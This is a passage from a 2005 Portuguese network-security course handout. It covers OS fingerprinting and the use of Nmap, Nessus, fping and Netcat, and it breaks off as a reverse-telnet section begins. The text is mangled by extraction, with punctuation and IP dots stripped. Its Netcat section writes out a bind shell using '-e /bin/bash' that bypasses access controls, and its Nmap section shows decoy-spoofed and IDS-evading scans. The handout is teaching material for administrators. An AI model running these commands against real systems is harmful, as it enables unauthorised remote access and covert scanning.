procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

